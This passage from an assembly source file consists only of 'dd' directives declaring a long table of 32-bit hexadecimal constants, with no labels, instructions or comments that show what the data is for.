0B7FF2E3Ch, 2D7DD715h dd 7090B6A2h, 0B90BC8E1h, 10CCA3A8h, 3E38E8A4h, 1A8058DEh dd 2AB092D0h, 505F2A7h, 0EAA51D0Fh, 360C0CCh, 683EA407h dd 13987DB4h, 0FE09633Ch, 80047338h, 49E2FAB4h, 0A5643247h dd 18C13461h, 501469ECh, 51C2A750h, 0D98B6445h, 0C812104Ch dd 2326609Ch, 30904EE4h, 0BCE52728h, 0C878D47Dh, 0CDF43E02h dd 404FACB8h, 0C44A2370h, 52AF9180h, 60CC18CCh, 0CB24590Eh dd 0F4003DE3h, 7E365F18h, 9084A803h, 0F1710010h, 5243E94Eh dd 7072D69h, 1029EF4h, 0C1961CA2h, 61103540h, 6304B959h dd 3B2CC86Dh, 30A2908Ch, 0FE28717Bh, 58005E83h, 4FEBA165h dd 4CDF85FDh, 531FE449h, 0AA7949D7h, 662FEC80h, 50CBBE1Eh dd 0F2844EFh, 0AD9C08C0h, 0EC40A4A9h, 6B09E755h, 2E37564h dd 91D21F00h, 0DAD48AF4h, 0A8EC4C98h, 45FCD71Ch, 8053F9FDh dd 0AFE4D9A0h, 5B05E5E0h, 2AB829E7h, 86236CA2h, 0D7BA3104h dd 491648C0h, 512E1D27h, 9F644B4Ah, 84408812h, 0B570C337h dd 0BF6558B6h, 46BEB4D1h, 13E7A880h, 0ADD7D4DBh, 7CAF6E88h dd 0F1CB044Bh, 0C07B90FFh, 694807FCh, 0B14C6C05h, 0EC01ABD8h dd 474BA898h, 61D275C8h, 0A08288Bh, 1647366h, 0D816CA0Eh dd 9AFD885Dh, 0C6B876E4h, 0C07AE841h, 2A003F7Ah, 9072A8D6h dd 16B45192h, 0C86378DDh, 26245B38h, 0A2007039h, 4E8F2D97h dd 0CC5E6018h, 555AA8B7h, 28B8D5E8h, 0D125D473h, 0CCD888B6h dd 0A3EA7B04h, 0B2BC78C0h, 0F3B51637h, 661C1FDFh, 0B8D900A6h dd 300E41E7h, 5B80D8B4h, 0A7E08B4Bh, 2ABE05D0h, 0B2CEBB2h dd 588132ACh, 0FCDF8087h, 6F0476FBh, 39637D1h, 8E2A8C90h dd 0E06580B8h, 0B6CC48C1h, 846D3279h, 1B2CB00h, 0F86D6077h dd 92D1EC18h, 43BC79h, 683C9465h, 0ED02D54h, 0FF1A8F00h dd 21A77FF8h, 47FC94BAh, 37F5E04Ch, 964C99A5h, 0C18B00B2h dd 8927BF18h, 1395000Dh, 0D1DC563Eh, 655024F3h, 2F3FD4E8h dd 836107A9h, 0C523F24Bh, 0D880B4C3h, 4D4D714h, 3359E94Ah dd 7F0543B4h, 4660CFBEh, 51718817h, 1428B53Ch, 8B92CC80h dd 0C7796370h, 40727F02h, 0E0DB6606h, 1F69ADBh, 86D4B4FBh dd 704CCAD0h, 0D31196F4h, 940F6ECEh, 0CC602715h, 2D2005A7h dd 175870B0h, 255482DCh, 12546430h, 0A5D43113h, 0E77C4C9Ch dd 0A820DF5Bh, 386D9446h, 8F80A02Fh, 38E4E522h, 3512CFB5h dd 0A8412057h, 0C955DA36h, 0F1FC032h, 7B6E40EAh, 72110B3Fh dd 9B873100h, 3ABC1799h, 0FA4B0EEh, 30676946h, 5749DD80h dd 3C02C598h, 4FC31E86h, 76B0FACFh, 59E00D4h, 3CFB47F0h dd 4C2D17CCh, 393C25CEh, 9429C180h, 0E5FCE967h, 0AC1F1D70h dd 25C28F91h, 0B05EEEC7h, 7CD5B408h, 0D2032890h, 0F3FB20F0h dd 0A610585Ch, 1DA74617h, 0D2160468h, 0E3AD4397h, 35B5D8D9h dd 0E5C051Fh, 80EB6A56h, 91349EC9h, 0B4A56324h, 0E4CB0140h dd 0CD8625E6h, 4CA75CAFh, 9FF4A04Eh, 92001AD8h, 2C12F05h dd 11EC1C55h, 0B73F77h, 0C57E6E86h, 2AFA1A7h, 0EF2EAC45h dd 8C685E55h, 14B943BBh, 0D249080h, 8CECAAh, 5CD9B677h dd 0E38BB330h, 3A4F2109h, 67B89870h, 47800F64h, 0E36EBCD4h dd 77C9A002h, 839A88A0h, 1D0B736Fh, 8229F482h, 0FA382554h dd 0E99713F0h, 42FC8935h, 0FE032D0h, 2CEE4AA0h, 0DD346748h dd 0B42461h, 0DB2D4A52h, 760007D5h, 4569CA63h, 7849149Ah dd 0C69228E6h, 6CE300D4h, 0F6598682h, 35249662h, 5D0541C5h dd 0AA80DF41h, 1952EC31h, 0B8DD0825h, 734EEDB9h, 687200C0h dd 0EC61560Dh, 472D00F5h, 0CC92A035h, 0CB3E4625h, 99AE0B08h dd 1EF082E2h, 0E86040FAh, 0D3C005Ah, 0F3B0D38Bh, 13266F58h dd 7860C4DAh, 2B0DBBh, 76C56C35h, 0CCC21C6Dh, 3F07C4B8h dd 6A7EDCB4h, 0B8D07F30h, 989500E4h, 68B77793h, 0CFFA99BAh dd 7C0ED491h, 0A57AE58Eh, 2BAB1CC2h, 6F607C00h, 0F1EA9943h dd 921C6400h, 689C57DCh, 0C9250761h, 7E0B2F29h, 0B09354DDh dd 449AE38Bh, 0D008BC1Ah, 0E797029Ch, 5CC2C523h, 7D2AAFC0h dd 25AC2495h, 0A6ACFB45h, 90E00344h, 0D0966851h, 1A183h dd 2AD5D11Eh, 7969BDA8h, 0B96D3401h, 0BBC7274Fh, 0B63A7C30h dd 3BBD4068h, 0CE0EBCCAh, 405578B9h, 3D44CB88h, 624B02CFh dd 29DEDD80h, 310044D1h, 0CD5F15CCh, 0E8B50387h, 0AAB46302h dd 2DC15162h, 7DCC44D1h, 0A5EC008Eh, 2283501Fh, 0FF2562Bh dd 0EFA8F901h, 0F7232564h, 0B6604C70h, 52480C94h, 24902EA8h dd 45E7C800h, 4EFFD92Ah, 24615C1Fh, 7493EB25h, 0B44515D8h dd 174F0505h, 0D080BAE2h, 5E0EDC2Ah, 0CDF04933h, 0BE8C3C68h dd 0D10D9001h, 0BFEF3BDh, 259D1B20h, 80851B55h, 6DC00A3Fh dd 1A82630h, 31A7D627h, 0F86820D0h, 0D5F0CF14h, 84C94AA1h dd 1169CCh, 856F4A29h, 56BE459Dh, 883C522Ch, 0AD600E47h dd 0FDCD5EFh, 0FA62506Fh, 13088813h, 79002675h, 7693B907h dd 94FCA3h, 9954D562h, 0B35AA0F1h, 0A1433CBEh, 0C0FEDACCh dd 9AA8F3h, 298C156Fh, 0F5B2E44Fh, 0E8884916h, 0E0D404D3h dd 258BC046h, 39FE52BBh, 0C8CA5D0Bh, 3D61CDC4h, 9100B788h dd 0B58DFB36h, 96902B50h, 0E3FFF0Bh, 0CD84112Eh, 2F005C3Dh dd 8E42670Fh, 91053527h, 0B8C817E8h, 5AFCC081h, 5CCA0C74h dd 0E71F5995h, 0AC330F30h, 0E2790F4Ch, 49DEE400h, 0D6B2DC3Ah dd 85EC2Ah, 272CE35Eh, 4663FF32h, 0A040CA4Ah, 0ED07978Bh dd 25BA0013h, 0AD8516A7h, 2813AB09h, 241252CBh, 271ACB2h dd 2F659A81h, 3D40868Fh, 0B93DAC53h, 0FC498151h, 18B5B6BAh dd 0C9A6D99Dh, 404F3ABh, 0A023877Ah, 0CCAF7004h, 0C3811363h dd 0F3D8EB8Dh, 2D4198EBh, 4A30C05Bh, 0C77CF461h, 70D62F03h dd 9C214EBCh, 0FE197CCCh, 5D7801CAh, 0F4C5935h, 0E580C0F5h dd 86644613h, 5D5C38D0h, 0C83701F2h, 4AF01415h, 2599E3B9h dd 308021FAh, 0C004D298h, 33C186FBh, 95D4E0B5h, 443B0065h dd 5C359C5Bh, 5600EEECh, 1E3D31F4h, 9A23F8h, 37E450FAh dd 0BC474AA3h, 12B5D512h, 3C116CA2h, 0E5A713B0h, 0C7FA0500h dd 0B84FBEDFh, 0DCCB0868h, 0E89F68CEh, 61196F40h, 0E6DF15Ch dd 0BEE3524Bh, 776237C7h, 0F5AE502h, 89165D90h, 0EDE9C878h dd 0BFDFC303h, 0A068A222h, 2970BEAh, 6943653Fh, 0F8FAD2C2h dd 0FA2F9C00h, 1F841725h, 6A330040h, 0AAD3EC7Ah, 4F0EED2Dh dd 0A02FCC03h, 8D27D177h, 40D890D5h, 780DE0E6h, 0CECCB474h dd 0B816D0E0h, 40870A6h, 24FC23C0h, 0C938C0C2h, 680D75B8h dd 10C36EA3h, 43830A6h, 0EC2F0ED2h, 484DCF8Ch, 893980AFh dd 0A74FBAB7h, 48FD2100h, 244936F2h, 0B5BF0013h, 80E30FFh dd 4F7096B7h, 92603902h, 0ECC25BBDh, 0B45E0FF8h, 0B054B827h dd 0E4936384h, 0BC012A28h, 4D2F5E48h, 18229764h, 38D95C7Dh dd 0F253B2C3h, 0E3FFB7B1h, 20492CE9h, 870F2A20h, 0F36D63BFh dd 0B023990Ah, 7C790162h, 595B00E2h, 15911E7Bh, 8099B238h dd 73B36F09h, 9C24B828h, 20A54494h, 1A8D42Ah, 0A0843D36h dd 2B18B887h, 0BC444830h, 0CB9D7163h, 40C44931h, 86054F7Ah dd 903B711Dh, 52AB60D8h, 900B0D7h, 0DA602288h, 5017CF26h dd 680F72FEh, 18202BE7h dd 3027550h, 379FE954h, 87F5EC86h, 0E8EF0104h, 9984404Bh dd 0F609EAFDh, 0F04AD4D5h, 0E8B14428h, 4C2CD3Eh, 1054BA2Ah dd 4D006CE2h, 2D65DB6Fh, 0F12C46F4h, 2843D0CDh, 9474881Ch dd 0CC632C78h, 83900015h, 0C67B0ADAh, 7F334A04h, 20C8C92Ah dd 0B009003Fh, 0FCD2864Dh, 0A848256Ah, 7C4C2C28h, 540E320Eh dd 0E69785CCh, 2A1CC0A2h, 30CA16F4h, 9F2BCDB0h, 76251700h dd 0D442041Bh, 1FC2E086h, 5F5A3Dh, 0D7FFAF32h, 70B0CCA8h dd 2049EC5Fh, 76C79C1h, 0F07BDB1Fh, 31BE5C4Ch, 0D5A5A20Bh dd 2F508065h, 7EA0F90h, 41264F36h, 0CD2CC2DDh, 0AF0EC450h dd 0A5BE5DA2h, 4C0B3325h, 0C0D012CEh, 71139Eh, 22B25CCFh dd 0B9672D05h, 0FE694E00h, 496C9D62h, 0FCE20226h, 0AB1CB6AFh dd 6740E876h, 0BC177Ch, 6BDE9C2Ah, 0B9529346h, 59813500h dd 0A01ADB73h, 4044B64Fh, 135ACB9Ch, 0A871E628h, 0B4A83362h dd 0B7EBC002h, 2D0E2E8Fh, 5C93C2E8h, 320E10E6h, 204F61DCh dd 0FEEFC733h, 270A002Dh, 0BF04CF48h, 860554F4h, 0BE3FDE26h dd 0FDF3F2C0h, 2F1576E1h, 0D090A408h, 98002D5Ch, 49C61AD0h dd 0B7F17Dh, 89E2A5C3h, 0FE238D0Eh, 3B30444Ch, 411D25DAh dd 0F1107490h, 0AA18012Ah, 8018E98Ch, 62C98117h, 39840784h dd 0B180F888h, 0ED80442h, 31A599CEh, 4AE8EDE1h, 0B839D2h dd 9FB6B9C4h, 21B33E0h, 443EA3F6h, 28C057FEh, 64275DDCh dd 3930189Ch, 78354D0Eh, 0E5AC438Fh, 2A26E9B0h, 0D605B099h dd 70883CD9h, 4C330060h, 1A25E745h, 5309CE11h, 514A44C7h dd 57DA0010h, 0DFBB70Fh, 8878E300h, 0D0EC54DBh, 7D831336h dd 7FA4B2D7h, 0BA7EC501h, 881DE921h, 0D3D468h, 232BD730h dd 1395673Bh, 75F8D8FCh, 47CD018Ah, 0A841F59Bh, 0C1C460FEh dd 0F9E76006h, 1C56DB0Fh, 0D7D431D5h, 5A98D03Ch, 734C46B2h dd 3658075Fh, 0DBF0D43Ah, 5D6259h, 0F1A261A7h, 7025084Fh dd 44870E4Ah, 40C52A10h, 64DB0B5Dh, 0F44819CAh, 0F000B032h dd 49A756D9h, 2E6862BAh, 1138FB1Dh, 0A9D0772h, 0D4A7F467h dd 0A252D393h, 12AC785Ch, 0A3B77942h, 0FECB0074h, 3B5DBB39h dd 4F1E28D6h, 148E0EF3h, 254ACCB5h, 0CF536090h, 0B77E17C0h dd 0BE0C2C50h, 0EA0007FCh, 3DFEC29Dh, 1C840A9Ah, 72522B8h dd 73BAA2E0h, 3125732Dh, 0F05CA0CCh, 13919904h, 90CF3E47h dd 0AB6F81ECh, 89AFCC00h, 0B9AE0301h, 528600F7h, 441362D5h dd 5909E8B4h, 46DE108h, 0DCE20A9Ch, 7A72960Eh, 27E900BDh dd 0FBAB1EC1h, 87E5A002h, 0C62EB8FDh, 4A934238h, 595CC8h dd 8C8671B9h, 8DF1B126h, 65FAF000h, 4BADA0E3h, 4D36169Bh dd 112C089Eh, 0EF31D483h, 10D0B552h, 0C9D2063h, 5BED2AF4h dd 0C912AF10h, 7C9723B3h, 0F0F1E603h, 25E2137Ah, 2CE4C292h dd 7B67D4Ch, 379AA1A0h, 0D410D2B0h, 176241Ah, 0FCC280A4h dd 2A255414h, 8B58D49Ch, 330C02F2h, 0BB463AC8h, 0EE001859h dd 1C90B5F7h, 7B0D00C0h, 0D654D72Ah, 0BA3F9306h, 0C42F27C9h dd 0FA637770h, 0B880279Dh, 0F89C0864h, 251F0A40h, 0FFF000DEh dd 0BBBD4918h, 0A0026AF5h, 886C42CAh, 0F8985AD2h, 3343008Dh dd 939E54A8h, 4E00B326h, 1B45D9B1h, 5088952Ch, 0B84190DFh dd 64E7006Ch, 0A1FDE475h, 3E394490h, 880209F4h, 49859EAh dd 0E2D9E5D1h, 0C1690040h, 193A795Ch, 96C50015h, 0C04853FCh dd 0A3009FA5h, 0E198B8F3h, 5B94B913h, 7B6880ABh, 0E8265F66h dd 0D020F053h, 9890354Ah, 6B47C3D0h, 1C585ACAh, 0C6CC3305h dd 2CCCEF97h, 80F89965h, 9348BD83h, 0F2F87690h, 0AAB1D10Eh dd 0EC7FE218h, 8DC80B9h, 695198h, 0DCABA9FDh, 0F6E0D84Fh dd 0F4975F13h, 842EEC88h, 0F8CA5E2Ch, 0CB3E4540h, 168B7D22h dd 3A6DB1h, 0E052A96h, 84124C4Eh, 7061BEF9h, 403925B8h dd 2C359601h, 73D41B37h, 94950248h, 60F60A32h, 12AEE3C8h dd 0F4D7C91Fh, 2C2708CCh, 76D8802Dh, 0F7E2ABAh, 5110C859h dd 0F0E256h, 5F449B97h, 38A6CFEh, 8BB7225Ch, 1B839EAh dd 60C05640h, 0C87831BCh, 0CC114FB5h, 3E00B0A8h, 0E43B2A96h dd 50292481h, 9CEC2CAFh, 612CBF3Ch, 0FF4807B4h, 0C8007B2Dh dd 4936AEEh, 0DA064A02h, 72F19789h, 8D40044h, 66527B15h dd 0A273CB25h, 0ABBD2F0Ch, 9845B05Fh, 3CDC2D2Ch, 76AE68C8h dd 0DF5BD001h, 8004751Dh, 0FE1E2894h, 0D7C0C06Fh, 0E305A79Ah dd 0F8B63CEAh, 185F4680h, 0A26CB7h, 5C97CB43h, 0D508A186h dd 0C399C40Eh, 1E9A0E3h, 3F69543Bh, 0D7AE6131h, 0A0058484h dd 4CE245h, 61AB5523h, 0EDFAF93h, 0DC37B02Ch, 654BA7A0h dd 0F8486D64h, 0ED4F0068h, 0FCC02826h, 0ED8172Dh, 5EF83830h dd 0FCE24927h, 4C4C3BCFh, 0C20CAA1Ch, 2613E36Dh, 80EF4C41h dd 0B85DF8E0h, 2D6BE95Eh, 98E1BC5Ah, 9FBAC0DBh, 0BD43548h dd 0C8360ED4h, 7945FFCh, 1B8A31C8h, 0D0B697CCh, 0B1BE0461h dd 57485371h, 0BF4A7014h, 7CD888h, 0B4D4284Ah, 85838D0Dh dd 0E7029400h, 86720B32h, 45610039h, 46EA99B8h, 3BD939Bh dd 0E0ABB02Ch, 556CDEh, 5DAF5B1Ch, 5354F246h, 3AEEA600h dd 7B39A92Ah, 252FE8Ah, 0DCFFB5C3h, 607ED7FBh, 4A796A80h dd 0F6B0A0DDh, 6F580041h, 0E76602Dh, 0F826E2F4h, 0BF00E8BAh dd 0B844AF1h, 51CAF1C6h, 0BAE8000Ch, 857657F8h, 47F04890h dd 3488C14Eh, 92061C5Fh, 0D03CD736h, 2B774B3Ch, 176DB600h dd 2A950B1Ah, 8C84004Fh, 8BA0D38Fh, 19393F25h, 94132423h dd 0EC315C00h, 77AEFD86h, 63361716h, 28AC629Dh, 65374C68h dd 0F2B94B00h, 5135402Fh, 20E24B99h, 0D8CC6A8Ch, 0EC569002h dd 40B3A280h, 9840C8Ch, 0E88853D9h, 803C92h, 56AA68B6h dd 0F487464Fh, 4AD63D80h, 80C494CFh, 46D025B1h, 0BD24862Bh dd 802C7488h, 10A7B81Ch, 0D5D104h, 0B7DC5D55h, 7269881Bh dd 3F41701h, 623BBFAFh, 0A0D77860h, 0FA03818h, 506FC3FEh dd 0E9BF1660h, 0CD904CEEh, 8B21F500h, 0E35AD491h, 0E54609F0h dd 2C00BCA4h, 9C3CD8BEh, 0E1D3480h, 0A9FC1B1Ch, 84698B80h dd 70006ADh, 53BE58C7h, 76359543h, 39250093h, 6B6141E4h dd 0D71C01A6h, 82C0B5CFh, 0B9DF92DAh, 221F0E99h, 0D61DDEE4h dd 34A235h, 0E3F9537Dh, 7D0D1C8Ch, 0C6270002h, 0FE4F5B9Ch dd 49249089h, 0DF05A847h, 0D4B367C3h, 0CC184530h, 0D44896A3h dd 41EC5150h, 58B46338h, 0E26E1F0h, 4640842Eh, 586694Bh dd 4A189FB5h, 63C88CBAh, 804CDE01h, 0CA28C881h, 329D520h dd 9406F409h, 0A8B8D62Dh, 0FB1F8450h, 655397B9h, 7CC03CC4h dd 25C6FA3Eh, 2CE8CA5Dh, 49004B6Ah, 0A2F3ED98h, 97B83Bh dd 0FBB3C8B1h, 40BA3D62h, 44C8164Bh, 39343D13h, 754FA787h dd 884C3CBh, 98F840F0h, 6B6A502h, 5693645Fh, 0EED460CCh dd 8BF8B81Eh, 0D1402495h, 0DFD8B4h, 0C1D4D8B7h, 142DC851h dd 5CCCDB2Ch, 5CADF260h, 0E8DD010Eh, 0D9556816h, 2C67BEh dd 0C438965Eh, 9430CE92h, 0A0C84040h, 1A024FF8h, 0BFD55552h dd 0CC0C168h, 84F214h, 0B794C075h, 3B78CE88h, 0FA80C7CFh dd 0E6231DA4h, 92121F76h, 0AC8859A5h, 0C9960039h, 4C4D7EA3h dd 8705A494h, 0E2AD36FBh, 0F2ECF407h, 0F42577D0h, 24B827F1h dd 0B51864E4h, 97B837D2h, 9C93B5EBh, 985766E8h, 0F50476F2h dd 0C9B78C5Ah, 0F7EE0B2h, 1FC79F99h, 2389F7C1h, 7DB8F0E3h dd 18D5272Ch, 8B5EBC09h dd 0FE7018C4h, 0D25604E1h, 0C9976322h, 93F42854h, 31F06E00h dd 0EE57324Dh, 0B12A3BF3h, 6564469Fh, 0F4D174A4h, 22901598h dd 5B052E00h, 0F4BF1066h, 5F111259h, 6864D0C9h, 3700BCB4h dd 7C9DD98Dh, 4C1FA85Ch, 9E014821h, 475672C4h, 0CEAC7052h dd 296C44h, 0EAF24513h, 93976ED3h, 25625A00h, 4F7452C9h dd 7C63ED6Fh, 8450C84Fh, 0B470F000h, 0B041682h, 54FA245Ch dd 92E182CCh, 9C7E3CF2h, 9D8CD380h, 0F054AAAh, 28B95570h dd 99EBFF00h, 20B4D4F0h, 0EAF01647h, 0E0FC9879h, 70FCA4D1h dd 4C2EFA77h, 0B024ADDAh, 2B81E90h, 380EE825h, 138304DCh dd 0ECB5C92Ah, 2CE7DCB4h, 4050D145h, 0CBF156EBh, 136A4200h dd 63A77A05h, 8C6E0024h, 0C076D6F0h, 0B14E07A6h, 0BE00C6B8h dd 5C7747F1h, 3412A044h, 7420CAE5h, 127F820Bh, 0B23B10D3h dd 322300A0h, 0D0B837D6h, 794B0041h, 0F2EAB22Ah, 435CC2FAh dd 32681010h, 0FEE824h, 0D713AA76h, 0BE0FE3B4h, 7F8ED340h dd 54E6A7h, 3443C8DEh, 2A59A0D9h, 0AECE605h, 4CD29C7Dh dd 80E87B88h, 6BD52050h, 0D13C10E5h, 5CCBD2Eh, 5CEB07FEh dd 0BDF70C0h, 1FE82D5Dh, 0C35CF8EEh, 0B53522F4h, 0B4515480h dd 0F207E6DCh, 388CE827h, 0D9948159h, 3400AF3Dh, 59E6B702h dd 8C610424h, 5030C40Ch, 2F2613E7h, 0DB4C03EFh, 3BC01F18h dd 1AF6B9E4h, 0AC322511h, 5327287Ch, 74882EDh, 0F290F094h dd 0B2CB74Bh, 29B5FBD8h, 314068F1h, 2AFFCCh, 4ACD3C20h dd 0CF82BE30h, 80A0CE39h, 0C5D2A1E2h, 350C359h, 4F99F3FDh dd 0A2B5BDFFh, 0F8303D4h, 0E20D9CAEh, 78C8804Ah, 0E2A745CCh dd 12FB771Dh, 8C2D25B6h, 49045CCCh, 0D7C92927h, 0B90024ADh dd 663860BEh, 0E91DA2C1h, 4A9239BBh, 153E1430h, 148747Dh dd 94B21EF3h, 30194E16h, 9496373Ch, 7FA8C240h, 63AC9089h dd 382598E8h, 909521C6h, 9BEE8Ch, 0EC29BB7Ch, 8BE307E1h dd 854CBE00h, 9CF34AFCh, 0BFE00Eh, 9521624Eh, 8EF7B4D8h dd 0A8A68C12h, 0B1006CE2h, 0F78C42Fh, 2501E9AFh, 0FAEC3931h dd 132F275Dh, 0E44B268h, 412B52F0h, 3598D083h, 0D3C3C0h dd 41A663C9h, 6B1D4932h, 0AFD7A227h, 0FFE32004h, 58608Eh dd 0EC20A199h, 85EBB611h, 4EDC691Fh, 0D8D34Bh, 0CD2A5BA0h dd 27A21FA0h, 0F18B409Eh, 8A73EBDh, 87504D3Dh, 0C4431E04h dd 0E64C30DCh, 8C245EFFh, 6745CEA8h, 0ACEFE4h, 87C58A3Dh dd 4922B4B6h, 69B74600h, 0A30781DFh, 0D8380102h, 93B8AC01h dd 0F10C2042h, 8B84F748h, 0B6E86436h, 751580FCh, 0B8490538h dd 0D34E1E00h, 0E58810C6h, 2039D708h, 15890E54h, 4A1FB500h dd 78BA3314h, 6A5000A9h, 0AF6CBE67h, 0BC91ED97h, 3CF1CC16h dd 41D0007Bh, 9745B779h, 0ECD3630Ah, 0B60C4BCh, 7A531Eh dd 7C9EFBCFh, 8742381Fh, 173C6100h, 3C20A55h, 884927BBh dd 887E6892h, 9329AB40h, 64C00086h, 0C1C32F4Bh, 53DC952h dd 967E8058h, 3E718FE7h, 0E0D57154h, 6C4E011Fh, 6052F59Fh dd 60207F06h, 42397Bh, 12B93658h, 3F09A3F6h, 503D158h dd 48BCAEE4h, 0F21CE88Ch, 37BE0353h, 0F2D7F7A0h, 6D5B6097h dd 4A58D429h, 0E1744458h, 54C67200h, 0FDE36028h, 0A2943FAAh dd 7E647C7Ah, 2EFC0066h, 0DE4561B4h, 0CC0F2FD4h, 9DDF31Fh dd 0B81493CAh, 70F15107h, 782E01EAh, 0EFFF1AD1h, 0EC39FD6Dh dd 6C029EA5h, 0EC2FA17Ah, 294741E8h, 0A0002862h, 3E255A83h dd 4D01BBD5h, 1450BE55h, 9020282Bh, 80E093Ch, 0E090CCB0h dd 1100E487h, 0D84F8BE1h, 906768ADh, 0D25A2558h, 41C7D468h dd 2115D00h, 2227E41Eh, 6F9C00A1h, 3C29EE90h, 8B079847h dd 251DA2A5h, 0A980889Ah, 4F2851BDh, 9DBAB014h, 37453081h dd 80003EDAh, 0B5E50519h, 8C31DE2Fh, 0CDD8ABB9h, 72FCC801h dd 8040694Bh, 2F199D0h, 0D6BAE125h, 3CC107CFh, 7F3BE1C5h dd 4A0C09h, 1F9FCB44h, 244EF088h, 4CCB734h, 0C2E160E0h dd 94F0D430h, 90BF017Dh, 1DB54268h, 4F32B890h, 5D007AD3h dd 650D4373h, 0FF8E6E00h, 9D754EA3h, 616374B2h, 344770F4h dd 0E3206091h, 10071CB0h, 5A4DD704h, 1C87D0E1h, 306396E4h dd 496989B4h, 5F16E2D1h, 0C30375Ah, 0F05B0Fh, 0D063827Ch dd 869B85B8h, 19D1C100h, 0FF43ECBBh, 0ABB62F59h, 0BD1634E4h dd 0D601F42Ch, 5A85E15Eh, 6A41FCh, 13C7CF2h, 80BC3AFh dd 62E667Ah, 420C9C6Dh, 655BB85Ch, 47530863h, 41152498h dd 0C5FAB231h, 0FF99FCACh, 0B5A7811Dh, 2F00D71Dh, 2A91BDCDh dd 424300B4h, 0B6516CC3h, 0ABF2C131h, 0BDD010B5h, 0F59161Ah dd 0A2BC1FFCh, 1E67CA1Fh, 11435400h, 530565E2h, 2400C018h dd 369B1A4Ch, 0EC006F38h, 0BE1987EBh, 943F970h, 0E69767A4h dd 62690C90h, 0E171112h, 61D86800h, 0FAF2B950h, 9AEB0039h dd 1830F895h, 0F00D18Bh, 5F76AE4Dh, 0BC6BFD5h, 3725B755h dd 46939018h, 4C382A01h, 6475C8DBh, 0ECFDEBC8h, 0A9BD2CB7h dd 0B8C200F0h, 0B9448A94h, 0B1589917h, 88A864C4h, 0E22A2700h dd 1FAD4D5h, 1C864E00h, 5A5ED206h, 0CF8300D8h, 0DEADD9D6h dd 0B63A8A50h, 0C2E10EFDh, 2BA24017h, 6E7C3Dh, 0D9DAEA92h dd 0B12C6F46h, 9D4C681Dh, 9E808A1Fh, 0F1A6D4D0h, 0DF2430CFh dd 665EAD40h, 789CEC18h, 6079DE11h, 18B369DDh, 630048C4h dd 9F1D7CF5h, 163A1EC3h, 1DFE629Ah, 66E40F2h, 5FCC2BFFh dd 55D55D00h, 72B26A4Ah, 1A530087h, 8486D84Dh, 0F01846B4h dd 4469D002h, 0DFA80377h, 42C1E2F5h, 0A0F286B0h, 8B03FE00h dd 0C3B96EE3h, 0FA883E84h, 1814CC80h, 41D5B53Ch, 2E17A9C0h dd 0BD6E73h, 0BCB2E9B4h, 0E2A08EF0h, 0C2FE5014h, 0B92294h dd 89DBF9D4h, 0D8518CD7h, 0E0370B00h, 0E180977h, 0C6871E58h dd 0E4050C48h, 0DD006DA1h, 63F637E3h, 0A0FDB520h, 234D5E2h dd 2611F712h, 94A0D279h, 0A5FEEF23h, 6433580Fh, 0F32AA007h dd 5847F81h, 0F84E093Bh, 0ED5C00D9h, 128B97Eh, 9427C303h dd 88765FC2h, 3812BFD2h, 0F10009D8h, 21FF8878h, 0DC6079ADh dd 7F97DB69h, 25F5E8CDh, 3C70B2E1h, 0D731A00Fh, 8190A0F4h dd 0EC50AB9Eh, 0D0120747h, 0C0D1AECCh, 0E113A822h, 3F25CF4h dd 46FC2600h, 6F879D19h, 0F62330D0h, 0EBDCCFF9h, 0B74071D9h dd 3C8A99FCh, 196379CDh, 0F7B84AC2h, 0EA006685h, 276BFBC6h dd 7CE7FCA7h, 7861004Bh, 21FEE073h, 6E325FACh, 0C0E138A6h dd 15CF82D7h, 8842D959h, 700AA30Fh, 0C674035Eh, 0BEB0F7E8h dd 26006C05h, 5D7DE1EFh, 1885E15h, 0B0FED9Dh, 83FB1ED0h dd 0C0A84CB1h, 88D6A0EEh, 1F01C4Bh, 186DFE5h, 792256EFh dd 80B9B9E8h, 99A2DBCAh, 10E75EAh, 47E65F62h, 0F5CF9D2Ch dd 0BB2981EDh, 0DB45CC9h, 90669FF0h, 0FE910270h, 74AA2DFCh dd 511E2C46h, 47AE631h, 0FF86FB3Fh, 0B8F0E980h, 0A1B0A4Fh dd 0CAAAAD1h, 3EB11528h, 0D87FD600h, 2DB7EDAh, 0D219C0CEh dd 6F8E586Bh, 81D9470h, 0CF5E775Fh, 81E628C0h, 15E4F1B6h dd 9C40D9FAh, 0B1520076h, 200B53B0h, 0EC00E014h, 18436056h dd 9008156Eh, 5FD41120h, 73C0406Dh, 22D06A14h, 5FABC0A0h dd 0ACD9CF8Ah, 78AF18FCh, 230A11C7h, 52070500h, 9B104EFCh dd 0B71000Ch, 0D1543D8Ch, 4D1818A2h, 896021ABh, 2613050Fh dd 46BA6D5Ch, 71F30294h, 1D3E8A00h, 62310552h, 957A0AB0h dd 0E08CE0h, 0F6E46F99h dd 0EE261D61h, 0AF0E5822h, 0D8897B79h, 8639DAh, 78333A82h dd 5C48CC6Ah, 0AC85452h, 905BD98Dh, 0D8B43280h, 3B24Dh dd 0F476A16h, 20B1144h, 3BA62B00h, 0F6E8A8B6h, 0C61B0453h dd 8101616Ch, 50A568C7h, 527A9C98h, 93DB51C1h, 8405E9Dh dd 62A45A0h, 55729ABFh, 0B09B814h, 8011D0B8h, 0ECAEDE5Ch dd 0C4D419CFh, 0FF8950AAh, 2795A900h, 7E58AC38h, 76CA0112h dd 0F8048244h, 3FB5F417h, 96F7460Fh, 8A0AA5B4h, 97A3A420h dd 47650FBCh, 390072BFh, 624429E2h, 0D65F2E00h, 4D5CB3CCh dd 617300E3h, 0D78387F9h, 0ED55021Dh, 0B5740C0h, 2E0064E7h dd 0AF4CECFAh, 2ACFA9EBh, 0B4DED2h, 0C0581762h, 0F73EEDA5h dd 3D0EBA02h, 808B91DBh, 9CF387D4h, 582D76A4h, 4C0189Eh dd 0E57D547Ch, 0D6D3A00h, 4A392E85h, 34E600CBh, 3D61EB1Eh dd 9C15E4A0h, 2A45473h, 0BD46B9F6h, 384479h, 773D2374h dd 0EB900A92h, 5D8AD600h, 0C338DA11h, 9FD4A068h, 8863735Fh dd 70A0EC05h, 860BD1FFh, 80E8D3EEh, 21A0A14Ah, 75D0A0C7h dd 13B1840h, 2498C8F9h, 620A0C00h, 28A5A11Bh, 0F7411EE1h dd 304E98B8h, 9053826Fh, 0FA3105DCh, 63805FE8h, 0F3459Ch dd 34CB8CDBh, 0B7D1BEE9h, 0F91B6079h, 8640C6F2h, 0A389300Ch dd 966D15A9h, 0EC4D8500h, 10AEF02Dh, 2BFE00F1h, 8B9DE7ADh dd 8200D63Fh, 0E280DB92h, 76C02Ah, 6D44BE32h, 0A94D6F54h dd 0D707D30Ah, 5C8EA059h, 0C0DD1E2Bh, 0CE7E7CC0h, 